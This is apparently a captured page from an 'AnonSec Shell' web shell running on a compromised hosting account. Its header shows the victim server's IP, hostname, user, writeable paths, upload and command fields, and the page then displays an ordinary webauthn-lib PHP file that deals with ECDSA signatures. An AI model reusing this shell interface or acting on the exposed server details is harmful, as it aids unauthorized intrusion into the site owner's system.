AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.144
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/maitric/libraries/vendor/web-auth/webauthn-lib/src/Util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/maitric/libraries/vendor/web-auth/webauthn-lib/src/Util/CoseSignatureFixer.php
<?php

declare(strict_types=1);

namespace Webauthn\Util;

use Cose\Algorithm\Signature\ECDSA;
use Cose\Algorithm\Signature\ECDSA\ECSignature;
use Cose\Algorithm\Signature\ECDSA\ES256;
use Cose\Algorithm\Signature\ECDSA\ES256K;
use Cose\Algorithm\Signature\ECDSA\ES384;
use Cose\Algorithm\Signature\ECDSA\ES512;
use Cose\Algorithm\Signature\Signature;

/**
 * This class fixes the signature of the ECDSA based algorithms.
 *
 * @internal
 *
 * @see https://www.w3.org/TR/webauthn/#signature-attestation-types
 */
abstract class CoseSignatureFixer
{
    public static function fix(string $signature, Signature $algorithm): string
    {
        switch ($algorithm::identifier()) {
            case ES256K::ID:
            case ES256::ID:
                if (mb_strlen($signature, '8bit') === 64) {
                    return $signature;
                }

                return ECSignature::fromAsn1(
                    $signature,
                    64
                ); //TODO: fix this hardcoded value by adding a dedicated method for the algorithms
            case ES384::ID:
                if (mb_strlen($signature, '8bit') === 96) {
                    return $signature;
                }

                return ECSignature::fromAsn1($signature, 96);
            case ES512::ID:
                if (mb_strlen($signature, '8bit') === 132) {
                    return $signature;
                }

                return ECSignature::fromAsn1($signature, 132);
        }

        return $signature;
    }
}

Anon7 - 2022
AnonSec Team